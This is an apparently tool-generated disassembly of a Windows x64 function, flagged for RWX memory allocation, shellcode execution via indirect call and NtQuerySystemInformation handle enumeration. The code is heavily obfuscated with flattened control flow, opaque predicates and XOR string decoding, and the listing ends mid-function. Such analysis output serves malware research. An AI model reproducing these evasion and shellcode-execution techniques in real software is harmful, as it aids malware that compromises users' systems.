Function at 0x1402c31e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], 0xfffffffffffffffe
mov qword [rbp + 0x38], rcx
mov dword [rbp + 0x34], 0
xor ebx, ebx
lea r9, [rbp + 0x34]
mov ecx, 0x40
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1402c4b4a
xor edi, edi
mov r15, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rsi, [rbp + 0x34]
nop word cs:[rax + rax]
nop
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call r15
mov edx, dword [rbp + 0x34]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rbx
mov rdi, rax
mov r8d, dword [rbp + 0x34]
mov ecx, 0x40
mov rdx, rax
mov r9, rsi
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x1402c3250
test eax, eax
js 0x1402c336c
test rdi, rdi
je 0x1402c336c
cmp qword [rdi], 0
je 0x1402c3375
mov r13, rdi
add r13, 0x10
mov esi, 1
xor eax, eax
xor r14d, r14d
jmp 0x1402c32ca
mov eax, esi
add esi, 1
cmp qword [rdi], rax
jbe 0x1402c3304
lea rax, [rax + rax*4]
mov r15, r14
mov rcx, qword [rbp + 0x38]
cmp qword [r13 + rax*8 + 0x10], rcx
setne bl
jne 0x1402c32e4
mov r15, qword [r13 + rax*8]
mov r12, qword [r13 + rax*8 + 8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
cmp r12, rax
sete cl
cmove r14, r15
test cl, bl
jne 0x1402c32c0
cmp r12, rax
jne 0x1402c32c0
xor ebx, ebx
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14, r14
je 0x1402c4b4a
mov qword [rbp - 0x60], 0
add r14, 8
mov ecx, 0x9d83bdcc
lea rdi, [rbp - 0x60]
nop word cs:[rax + rax]
nop
cmp ecx, 0x211f0966
je 0x1402c338d
cmp ecx, 0x9d83bdcc
jne 0x1402c3340
mov r9d, 8
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, r14
call fcn.1402ce4c0
mov ecx, 0x211f0966
jmp 0x1402c3340
test rdi, rdi
je 0x1402c4b48
xor ebx, ebx
mov rcx, rdi
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1402c4b4a
and al, 1
mov byte [rbp - 0x30], al
mov al, byte [rbp - 0x30]
cmp al, 1
jne 0x1402c33f0
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x1402c33f0
mov qword [rbp + 0x20], 0
add rsi, 8
mov ecx, 0x9d83bdcc
lea rdi, [rbp + 0x20]
nop word [rax + rax]
cmp ecx, 0x211f0966
je 0x1402c3484
cmp ecx, 0x9d83bdcc
jne 0x1402c33c0
mov r9d, 8
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, rsi
call fcn.1402ce4c0
mov ecx, 0x211f0966
jmp 0x1402c33c0
mov eax, dword [0x140ae0c28]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0c2c], 0xa
setl cl
or cl, al
mov eax, 0xef3802db
mov edx, 0x8f1fc8fe
cmove eax, edx
mov ecx, 0x1429fbd0
cmove ecx, edx
mov edx, 0x2413bf77
nop dword [rax + rax]
cmp edx, 0xef3802da
jle 0x1402c3460
cmp edx, 0xef3802db
je 0x1402c3472
cmp edx, 0x2413bf77
je 0x1402c3479
cmp edx, 0x1429fbd0
jne 0x1402c3430
mov edx, eax
jmp 0x1402c3430
cmp edx, 0x8f1fc8fe
je 0x1402c347d
cmp edx, 0x8f7b969a
jne 0x1402c3430
jmp 0x1402c34f0
mov edx, 0x8f7b969a
jmp 0x1402c3430
mov edx, ecx
jmp 0x1402c3430
mov edx, 0x1429fbd0
jmp 0x1402c3430
and al, 1
mov byte [rbp - 0x30], al
mov al, byte [rbp - 0x30]
cmp al, 1
jne 0x1402c39e0
mov rsi, qword [rbp + 0x20]
test rsi, rsi
je 0x1402c39e0
mov qword [rbp + 0x28], 0
add rsi, 0x28
mov ecx, 0x9d83bdcc
lea rdi, [rbp + 0x28]
nop word cs:[rax + rax]
cmp ecx, 0x211f0966
je 0x1402c3ab6
cmp ecx, 0x9d83bdcc
jne 0x1402c34c0
mov r9d, 8
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, rsi
call fcn.1402ce4c0
mov ecx, 0x211f0966
jmp 0x1402c34c0
lea r12, [rbp - 0x30]
mov qword [rbp + 0x40], r12
mov rax, qword [rbp + 0x40]
movzx ecx, word [0x140680140]
mov word [rax + 0x40], cx
movups xmm0, xmmword [0x140680130]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x140680120]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x140680110]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140680100]
movups xmmword [rax], xmm0
mov eax, 0x31033d0a
mov r13d, 0xf5e5970d
mov r15d, 0xc13d8388
mov r14d, 0x286b5c57
mov r10d, 0xdea854e0
mov r11d, 0xb2884e3f
jmp 0x1402c3570
mov qword [rbp + 0x40], r12
mov rax, qword [rbp + 0x40]
cmp word [rax + 0x40], 0
setne byte [rbp + 0x60]
mov eax, 0x611bc219
nop dword [rax]
cmp eax, 0x34413156
jg 0x1402c35b0
cmp eax, 0x8f70d51
jg 0x1402c35f0
cmp eax, 0xd4a0c7cd
je 0x1402c39bc
cmp eax, 0xec2e63bf
je 0x1402c3975
cmp eax, 0xffa6c983
jne 0x1402c3570
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov eax, 0x8f70d52
jmp 0x1402c3570
cmp eax, 0x413985fb
jle 0x1402c36d0
cmp eax, 0x413985fc
je 0x1402c39c6
cmp eax, 0x5cf6bf15
je 0x1402c3983
cmp eax, 0x611bc219
jne 0x1402c3570
cmp byte [rbp + 0x60], 0
mov eax, 0xec2e63bf
mov ecx, 0x34413157
cmovne eax, ecx
jmp 0x1402c3570
cmp eax, 0x30895c8c
je 0x1402c39b2
cmp eax, 0x31033d0a
jne 0x1402c39d0
mov eax, dword [0x140ae455c]
lea esi, [rax - 1]
imul esi, eax
test sil, 1
sete byte [rbp + 0x98]
mov esi, dword [0x140ae4560]
mov eax, 0x1b7dc9aa
mov ecx, 0x6e5e71db
cmove eax, ecx
cmp esi, 0xa
setl byte [rbp + 0x90]
cmovl eax, ecx
mov esi, 0x53df0139
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0x1b7dc9a9
jg 0x1402c3680
cmp esi, 0x927b03c9
je 0x1402c3557
cmp esi, 0xc5557ef0
je 0x1402c36c1
cmp esi, 0xd5dea69c
jne 0x1402c3650
mov esi, 0x927b03c9
jmp 0x1402c3650
cmp esi, 0x1b7dc9aa
je 0x1402c36ba
cmp esi, 0x6e5e71db
je 0x1402c36c5
cmp esi, 0x53df0139
jne 0x1402c3650
movzx ecx, byte [rbp + 0x98]
cmp byte [rbp + 0x90], 0
mov esi, 0x1b7dc9aa
mov edx, 0xc5557ef0
cmovne esi, edx
test cl, cl
cmovne esi, edx
jmp 0x1402c3650
mov esi, 0xc5557ef0
jmp 0x1402c3650
mov esi, eax
jmp 0x1402c3650
mov esi, 0xd5dea69c
jmp 0x1402c3650
cmp eax, 0x34413157
je 0x1402c395a
cmp eax, 0x3be2b942
jne 0x1402c3570
mov rsi, qword [rbp + 0x58]
mov edi, 0xf1be3cc0
jmp 0x1402c3720
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0xdf1b71d8
cmove edi, r14d
cmp dword [0x140ae4568], 0xa
cmovl edi, r14d
nop word cs:[rax + rax]
nop
cmp edi, 0xf1be3cbf
jg 0x1402c3770
cmp edi, 0xdea854df
jg 0x1402c37d0
cmp edi, 0xc13d8387
jle 0x1402c383e
cmp edi, 0xc13d8388
je 0x1402c38e5
cmp edi, 0xc9cfb6d3
jne 0x1402c3720
mov dword [rbp + 0x98], eax
mov ecx, dword [rbp + 0x98]
cmp ecx, 0x21
mov edi, 0xa90717e1
cmovl edi, r15d
jmp 0x1402c3720
cmp edi, 0x286b5c56
jg 0x1402c3810
cmp edi, 0xf1be3cc0
je 0x1402c3873
cmp edi, 0xf5e5970d
je 0x1402c38b0
cmp edi, 0xd598fa
jne 0x1402c3720
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0x40]
movzx ebx, word [rbp + 0x28]
mov word [rdx + rcx*2], bx
mov ecx, dword [rbp + 0x98]
add ecx, 1
mov dword [rbp + 0x20], ecx
mov edi, 0xe55f5913
jmp 0x1402c3720
cmp edi, 0xdea854e0
je 0x1402c36f1
cmp edi, 0xdf1b71d8
je 0x1402c38a6
cmp edi, 0xe55f5913
jne 0x1402c3720
mov edi, 0xc9cfb6d3
mov eax, dword [rbp + 0x20]
jmp 0x1402c3720
cmp edi, 0x286b5c57
je 0x1402c389c
cmp edi, 0x3bc6f6a7
je 0x1402c38d9
cmp edi, 0x52b0d367
jne 0x1402c3720
mov edi, 0xf5e5970d
jmp 0x1402c3720
cmp edi, 0xa90717e1
jne 0x1402c3944
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0x52b0d367
cmove edi, r13d
cmp dword [0x140ae4568], 0xa
cmovl edi, r13d
jmp 0x1402c3720
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0xdf1b71d8
cmove edi, r10d
cmp dword [0x140ae4568], 0xa
cmovl edi, r10d
jmp 0x1402c3720
mov edi, 0x3bc6f6a7
jmp 0x1402c3720
mov edi, 0xdea854e0
jmp 0x1402c3720
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0x52b0d367
cmove edi, r11d
cmp dword [0x140ae4568], 0xa
cmovl edi, r11d
jmp 0x1402c3720
mov edi, 0xc9cfb6d3
xor eax, eax
jmp 0x1402c3720
movsxd rcx, dword [rbp + 0x98]
mov qword [rbp + 0x90], rcx
mov rcx, qword [rbp + 0x90]
movzx ecx, word [rsi + rcx*2]
movsxd rdi, dword [rbp + 0x98]
imul r8, rdi, 0x51eb851f
mov r9, r8
shr r9, 0x3f
sar r8, 0x24
add r8d, r9d
imul edx, r8d, 0x32
sub edi, edx
lea edx, [rdi + 0x34]
mov ebx, 0xffcb
sub ebx, edi
and ebx, ecx
not ecx
and ecx, edx
or ebx, ecx
mov word [rbp + 0x28], bx
mov qword [rbp + 0x40], r12
mov edi, 0xd598fa
jmp 0x1402c3720
cmp edi, 0xb2884e3f
jne 0x1402c3720
mov eax, 0x30895c8c
jmp 0x1402c3570
mov eax, dword [0x140ae13b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4a0c7cd
mov ecx, 0x5cf6bf15
jmp 0x1402c39a0
mov qword [rbp + 0x78], r12
mov eax, 0xffa6c983
jmp 0x1402c3570
mov qword [rbp + 0x58], r12
mov eax, dword [0x140ae13b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4a0c7cd
mov ecx, 0x413985fc
cmove eax, ecx
cmp dword [0x140ae13b4], 0xa
cmovl eax, ecx
jmp 0x1402c3570
mov eax, 0xec2e63bf
jmp 0x1402c3570
mov eax, 0x5cf6bf15
jmp 0x1402c3570
mov eax, 0x3be2b942
jmp 0x1402c3570
cmp eax, 0x8f70d52
jne 0x1402c3570
jmp 0x1402c4b30
mov eax, dword [0x140ae0c38]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0c3c], 0xa
setl cl
or cl, al
mov eax, 0x8efb9675
mov edx, 0x2f30888d
cmove eax, edx
mov ecx, 0x66e0fb81
cmove ecx, edx
mov edx, 0x2dc288cf
nop dword [rax + rax]
cmp edx, 0x2f30888c
jle 0x1402c3a50
cmp edx, 0x2f30888d
je 0x1402c3aa5
cmp edx, 0x3bd481e4
je 0x1402c3aaf
cmp edx, 0x66e0fb81
jne 0x1402c3a20
mov edx, eax
jmp 0x1402c3a20
cmp edx, 0x8efb9675
je 0x1402c3b20
cmp edx, 0x2dc288cf
jne 0x1402c3a20
movzx edx, word [0x140680182]
mov word [rbp + 0x10], dx
movups xmm0, xmmword [0x140680172]
movaps xmmword [rbp], xmm0
movups xmm0, xmmword [0x140680162]
movaps xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x140680152]
movaps xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140680142]
movaps xmmword [rbp - 0x30], xmm0
mov edx, 0x3bd481e4
jmp 0x1402c3a20
mov edx, 0x66e0fb81
jmp 0x1402c3a20
mov edx, ecx
jmp 0x1402c3a20
and al, 1
mov byte [rbp - 0x30], al
mov al, byte [rbp - 0x30]
cmp al, 1
jne 0x1402c3fe0
mov rsi, qword [rbp + 0x28]
test rsi, rsi
je 0x1402c3fe0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x40], xmm0
add rsi, 0x58
mov ecx, 0x9d83bdcc
lea rdi, [rbp + 0x40]
nop word [rax + rax]
cmp ecx, 0x211f0966
je 0x1402c451f
cmp ecx, 0x9d83bdcc
jne 0x1402c3af0
mov r9d, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x38]
mov rdx, rdi
mov r8, rsi
call fcn.1402ce4c0
mov ecx, 0x211f0966
jmp 0x1402c3af0
mov eax, 0x31033d0a
lea r12, [rbp - 0x30]
mov r13d, 0xf5e5970d
mov r15d, 0xc13d8388
mov r14d, 0x286b5c57
mov r10d, 0xdea854e0
mov r11d, 0xb2884e3f
jmp 0x1402c3b70
mov qword [rbp + 0x40], r12
mov rax, qword [rbp + 0x40]
cmp word [rax + 0x40], 0
setne byte [rbp + 0x88]
mov eax, 0x611bc219
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x34413156
jg 0x1402c3bb0
cmp eax, 0x8f70d51
jg 0x1402c3bf0
cmp eax, 0xd4a0c7cd
je 0x1402c3fbc
cmp eax, 0xec2e63bf
je 0x1402c3f75
cmp eax, 0xffa6c983
jne 0x1402c3b70
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov eax, 0x8f70d52
jmp 0x1402c3b70
cmp eax, 0x413985fb
jle 0x1402c3cd0
cmp eax, 0x413985fc
je 0x1402c3fc6
cmp eax, 0x5cf6bf15
je 0x1402c3f83
cmp eax, 0x611bc219
jne 0x1402c3b70
cmp byte [rbp + 0x88], 0
mov eax, 0xec2e63bf
mov ecx, 0x34413157
cmovne eax, ecx
jmp 0x1402c3b70
cmp eax, 0x30895c8c
je 0x1402c3fb2
cmp eax, 0x31033d0a
jne 0x1402c3fd0
mov eax, dword [0x140ae455c]
lea esi, [rax - 1]
imul esi, eax
test sil, 1
sete byte [rbp + 0x98]
mov esi, dword [0x140ae4560]
mov eax, 0x1b7dc9aa
mov ecx, 0x6e5e71db
cmove eax, ecx
cmp esi, 0xa
setl byte [rbp + 0x90]
cmovl eax, ecx
mov esi, 0x53df0139
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0x1b7dc9a9
jg 0x1402c3c80
cmp esi, 0x927b03c9
je 0x1402c3b49
cmp esi, 0xc5557ef0
je 0x1402c3cc1
cmp esi, 0xd5dea69c
jne 0x1402c3c50
mov esi, 0x927b03c9
jmp 0x1402c3c50
cmp esi, 0x1b7dc9aa
je 0x1402c3cba
cmp esi, 0x6e5e71db
je 0x1402c3cc5
cmp esi, 0x53df0139
jne 0x1402c3c50
movzx ecx, byte [rbp + 0x98]
cmp byte [rbp + 0x90], 0
mov esi, 0x1b7dc9aa
mov edx, 0xc5557ef0
cmovne esi, edx
test cl, cl
cmovne esi, edx
jmp 0x1402c3c50
mov esi, 0xc5557ef0
jmp 0x1402c3c50
mov esi, eax
jmp 0x1402c3c50
mov esi, 0xd5dea69c
jmp 0x1402c3c50
cmp eax, 0x34413157
je 0x1402c3f5a
cmp eax, 0x3be2b942
jne 0x1402c3b70
mov rsi, qword [rbp + 0x58]
mov edi, 0xf1be3cc0
jmp 0x1402c3d20
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0xdf1b71d8
cmove edi, r14d
cmp dword [0x140ae4568], 0xa
cmovl edi, r14d
nop word cs:[rax + rax]
nop
cmp edi, 0xf1be3cbf
jg 0x1402c3d70
cmp edi, 0xdea854df
jg 0x1402c3dd0
cmp edi, 0xc13d8387
jle 0x1402c3e3e
cmp edi, 0xc13d8388
je 0x1402c3ee5
cmp edi, 0xc9cfb6d3
jne 0x1402c3d20
mov dword [rbp + 0x98], eax
mov ecx, dword [rbp + 0x98]
cmp ecx, 0x21
mov edi, 0xa90717e1
cmovl edi, r15d
jmp 0x1402c3d20
cmp edi, 0x286b5c56
jg 0x1402c3e10
cmp edi, 0xf1be3cc0
je 0x1402c3e73
cmp edi, 0xf5e5970d
je 0x1402c3eb0
cmp edi, 0xd598fa
jne 0x1402c3d20
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0x40]
movzx ebx, word [rbp + 0x60]
mov word [rdx + rcx*2], bx
mov ecx, dword [rbp + 0x98]
add ecx, 1
mov dword [rbp + 0x28], ecx
mov edi, 0xe55f5913
jmp 0x1402c3d20
cmp edi, 0xdea854e0
je 0x1402c3cf1
cmp edi, 0xdf1b71d8
je 0x1402c3ea6
cmp edi, 0xe55f5913
jne 0x1402c3d20
mov edi, 0xc9cfb6d3
mov eax, dword [rbp + 0x28]
jmp 0x1402c3d20
cmp edi, 0x286b5c57
je 0x1402c3e9c
cmp edi, 0x3bc6f6a7
je 0x1402c3ed9
cmp edi, 0x52b0d367
jne 0x1402c3d20
mov edi, 0xf5e5970d
jmp 0x1402c3d20
cmp edi, 0xa90717e1
jne 0x1402c3f44
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0x52b0d367
cmove edi, r13d
cmp dword [0x140ae4568], 0xa
cmovl edi, r13d
jmp 0x1402c3d20
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0xdf1b71d8
cmove edi, r10d
cmp dword [0x140ae4568], 0xa
cmovl edi, r10d
jmp 0x1402c3d20
mov edi, 0x3bc6f6a7
jmp 0x1402c3d20
mov edi, 0xdea854e0
jmp 0x1402c3d20
mov ecx, dword [0x140ae4564]
lea edi, [rcx - 1]
imul edi, ecx
test dil, 1
mov edi, 0x52b0d367
cmove edi, r11d
cmp dword [0x140ae4568], 0xa
cmovl edi, r11d
jmp 0x1402c3d20
mov edi, 0xc9cfb6d3
xor eax, eax
jmp 0x1402c3d20
movsxd rcx, dword [rbp + 0x98]
mov qword [rbp + 0x90], rcx
mov rcx, qword [rbp + 0x90]
movzx ecx, word [rsi + rcx*2]
movsxd rdi, dword [rbp + 0x98]
imul r8, rdi, 0x51eb851f
mov r9, r8
shr r9, 0x3f
sar r8, 0x24
add r8d, r9d
imul edx, r8d, 0x32
sub edi, edx
lea edx, [rdi + 0x34]
mov ebx, 0xffcb
sub ebx, edi
and ebx, ecx
not ecx
and ecx, edx
or ebx, ecx
mov word [rbp + 0x60], bx
mov qword [rbp + 0x40], r12
mov edi, 0xd598fa
jmp 0x1402c3d20
cmp edi, 0xb2884e3f
jne 0x1402c3d20
mov eax, 0x30895c8c
jmp 0x1402c3b70
mov eax, dword [0x140ae13b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4a0c7cd
mov ecx, 0x5cf6bf15
jmp 0x1402c3fa0
mov qword [rbp + 0x78], r12
mov eax, 0xffa6c983
jmp 0x1402c3b70
mov qword [rbp + 0x58], r12
mov eax, dword [0x140ae13b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd4a0c7cd
mov ecx, 0x413985fc
cmove eax, ecx
cmp dword [0x140ae13b4], 0xa
cmovl eax, ecx
jmp 0x1402c3b70
mov eax, 0xec2e63bf
jmp 0x1402c3b70
mov eax, 0x5cf6bf15
jmp 0x1402c3b70
mov eax, 0x3be2b942
jmp 0x1402c3b70
cmp eax, 0x8f70d52
jne 0x1402c3b70
jmp 0x1402c4b30
mov eax, dword [0x140ae13d8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x90]
mov eax, dword [0x140ae13dc]
sete cl
cmp eax, 0xa
setl al
setl byte [rbp + 0x40]
or al, cl
mov edi, 0x3ba66ad6
mov eax, 0x87c93ddc
cmove edi, eax
mov ecx, 0x15f35a18
cmove ecx, eax
mov eax, 0x39d86aa1
mov edx, 0x21c21520
cmovne edx, eax
mov eax, 0x37735f4c
mov esi, 0xfefe96ad
jmp 0x1402c4080
mov eax, dword [0x1406801c4]
mov dword [rbp + 0x10], eax
movups xmm0, xmmword [0x1406801b4]
movaps xmmword [rbp], xmm0
movups xmm0, xmmword [0x1406801a4]
movaps xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x140680194]
movaps xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140680184]
movaps xmmword [rbp - 0x30], xmm0
mov eax, 0x15f35a18
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x37735f4b
jg 0x1402c40b0
cmp eax, 0x1169953a
jle 0x1402c40d0
cmp eax, 0x15f35a18
je 0x1402c4105
cmp eax, 0x21c21520
jne 0x1402c416c
mov eax, 0xfefe96ad
jmp 0x1402c4080
cmp eax, 0x3ba66ad5
jg 0x1402c40f0
cmp eax, 0x37735f4c
je 0x1402c4141
cmp eax, 0x39d86aa1
jne 0x1402c4080
mov eax, 0x6c860ef9
jmp 0x1402c4080
cmp eax, 0x87c93ddc
je 0x1402c4039
cmp eax, 0xfefe96ad
jne 0x1402c4080
mov eax, edx
jmp 0x1402c4080
cmp eax, 0x3ba66ad6
je 0x1402c4162
cmp eax, 0x6c860ef9
jne 0x1402c4080
mov eax, ecx
jmp 0x1402c4080
mov eax, dword [0x1406801c4]
mov dword [rbp + 0x10], eax
movups xmm0, xmmword [0x1406801b4]
movaps xmmword [rbp], xmm0
movups xmm0, xmmword [0x1406801a4]
movaps xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x140680194]
movaps xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140680184]
movaps xmmword [rbp - 0x30], xmm0
mov eax, edi
jmp 0x1402c4080
movzx ebx, byte [rbp + 0x90]
cmp byte [rbp + 0x40], 0
mov eax, 0xfefe96ad
jne 0x1402c4158
mov eax, 0x21c21520
test bl, bl
cmovne eax, esi
jmp 0x1402c4080
mov eax, 0x1169953b
jmp 0x1402c4080
cmp eax, 0x1169953b
jne 0x1402c4080
mov esi, 0x9ced2c57
lea r12, [rbp - 0x30]
mov r8d, 0xbfc94cd9
mov r10d, 0x1178c137
mov r11d, 0xb73abad5
mov r14d, 0x8a0d976e
mov r9d, 0xc1c320cf
mov r15d, 0xb82c5cb
jmp 0x1402c41b0
mov esi, 0x1178c137
nop dword [rax + rax]
cmp esi, 0xb82c5ca
jg 0x1402c4200
cmp esi, 0xb5f4c10e
jle 0x1402c4280
cmp esi, 0xbfc94cd8
jg 0x1402c42b2
cmp esi, 0xb5f4c10f
je 0x1402c4419
cmp esi, 0xb73abad5
jne 0x1402c41b0
cmp byte [rbp + 0x88], 0
mov esi, 0x9da17a4a
cmovne esi, r8d
jmp 0x1402c41b0
cmp esi, 0x1c7ec0e0
jle 0x1402c4250
cmp esi, 0x322c015f
jle 0x1402c42dc
cmp esi, 0x322c0160
je 0x1402c41a6
cmp esi, 0x33270a01
jne 0x1402c41b0
mov edx, dword [0x140ae0c10]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
mov esi, 0x1307decc
cmove esi, r15d
cmp dword [0x140ae0c14], 0xa
cmovl esi, r15d
jmp 0x1402c41b0
cmp esi, 0xb82c5cb
je 0x1402c4423
cmp esi, 0x1178c137
je 0x1402c444c
cmp esi, 0x1307decc
jne 0x1402c41b0
mov esi, 0xb82c5cb
jmp 0x1402c41b0
cmp esi, 0x8a0d976e
je 0x1402c44ac
cmp esi, 0x9ced2c57
je 0x1402c44b6
cmp esi, 0x9da17a4a
jne 0x1402c41b0
mov qword [rbp + 0x78], r12
mov esi, 0xed7edbcb
jmp 0x1402c41b0
cmp esi, 0xbfc94cd9
je 0x1402c4479
cmp esi, 0xed7edbcb
jne 0x1402c41b0
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov esi, 0x1c7ec0e1
jmp 0x1402c41b0
cmp esi, 0x2454aaf3
jne 0x1402c450e
mov rsi, qword [rbp + 0x58]
mov ebx, 0x5b4f3bd0
jmp 0x1402c4310
mov edx, dword [rbp + 0x98]
add edx, 1
mov ebx, 0x65b57d15
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x3a09f2f2
jle 0x1402c4340
cmp ebx, 0x5b4f3bcf
jg 0x1402c4360
cmp ebx, 0x3a09f2f3
je 0x1402c42f3
cmp ebx, 0x56fdbb68
jne 0x1402c4310
mov ebx, 0x65b57d15
xor edx, edx
jmp 0x1402c4310
cmp ebx, 0xb719c9d9
je 0x1402c4394
cmp ebx, 0xc1c320cf
je 0x1402c43b1
cmp ebx, 0xc596f55d
jne 0x1402c4310
jmp 0x1402c44a2
cmp ebx, 0x5b4f3bd0
je 0x1402c438a
cmp ebx, 0x65b57d15
jne 0x1402c4310
mov dword [rbp + 0x98], edx
mov ebx, dword [rbp + 0x98]
cmp ebx, 0x22
mov ebx, 0xc596f55d
cmovl ebx, r9d
jmp 0x1402c4310
mov ebx, 0x56fdbb68
jmp 0x1402c4310
mov rax, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x40]
movzx edi, word [rbp + 0x60]
mov word [rcx + rax*2], di
mov ebx, 0x3a09f2f3
jmp 0x1402c4310
movsxd rbx, dword [rbp + 0x98]
mov qword [rbp + 0x90], rbx
mov rbx, qword [rbp + 0x90]
movsxd rdi, dword [rbp + 0x98]
imul rcx, rdi, 0x51eb851f
mov rax, rcx
shr rax, 0x3f
sar rcx, 0x24
add ecx, eax
imul eax, ecx, 0x32
sub edi, eax
mov eax, 0x7fcb
sub eax, edi
add edi, 0x34
and eax, 0x71ff
and edi, 0x8e00
or edi, eax
xor di, word [rsi + rbx*2]
xor edi, 0x71ff
mov word [rbp + 0x60], di
mov qword [rbp + 0x40], r12
mov ebx, 0xb719c9d9
jmp 0x1402c4310
mov esi, 0x9da17a4a
jmp 0x1402c41b0
mov edx, dword [0x140ae0c10]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
mov esi, 0x1307decc
cmove esi, r11d
cmp dword [0x140ae0c14], 0xa
cmovl esi, r11d
jmp 0x1402c41b0
mov qword [rbp + 0x58], r12
mov edx, dword [0x140ae0c10]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
mov esi, 0x322c0160
cmove esi, r14d
cmp dword [0x140ae0c14], 0xa
cmovl esi, r14d
jmp 0x1402c41b0
mov edx, dword [0x140ae0c10]
lea esi, [rdx - 1]
imul esi, edx
test sil, 1
mov esi, 0x322c0160
cmove esi, r10d
cmp dword [0x140ae0c14], 0xa
cmovl esi, r10d
jmp 0x1402c41b0
mov esi, 0xb5f4c10f
jmp 0x1402c41b0
mov esi, 0x2454aaf3
jmp 0x1402c41b0
movzx edx, word [rbp + 0x12]
mov word [rbp + 0x40], dx
mov esi, 0xa511bc0f
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0xd1bc1ad
je 0x1402c44ef
cmp esi, 0xa511bc0f
jne 0x1402c44d0
cmp word [rbp + 0x40], 0
setne dl
mov esi, 0xd1bc1ad
jmp 0x1402c44d0
and dl, 1
mov byte [rbp + 0x90], dl
mov dl, byte [rbp + 0x90]
mov byte [rbp + 0x88], dl
mov esi, 0x33270a01
jmp 0x1402c41b0
cmp esi, 0x1c7ec0e1
jne 0x1402c41b0
jmp 0x1402c4b30
and al, 1
mov byte [rbp - 0x30], al
mov al, byte [rbp - 0x30]
cmp al, 1
jne 0x1402c4589
movzx edx, word [rbp + 0x40]
test rdx, rdx
je 0x1402c4589
shr rdx, 1
add rdx, 1
lea rcx, [rbp + 0x60]
call fcn.1402c9f70
mov eax, dword [0x140ae0b08]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae0b0c], 0xa
movzx esi, word [rbp + 0x40]
setl cl
or cl, al
mov ebx, 0x64555c18
mov eax, 0x5a240900
cmove ebx, eax
mov ecx, 0xf136a3b1
cmove ecx, eax
mov eax, 0xc8536537
mov rdx, qword [rbp + 0x60]
jmp 0x1402c4b62
mov eax, dword [0x140ae13e0]
mov ecx, dword [0x140ae13e4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x78]
cmp ecx, 0xa
setl byte [rbp + 0x70]
mov eax, 0x580371e7
lea r9, [rbp - 0x30]
jmp 0x1402c45c6
mov eax, 0xfee3f578
nop dword [rax]
cmp ecx, 0xa
cmovl eax, edx
cmp eax, 0xfee3f577
jg 0x1402c4620
cmp eax, 0xae4b15dc
jg 0x1402c4670
cmp eax, 0x8035efba
je 0x1402c4712
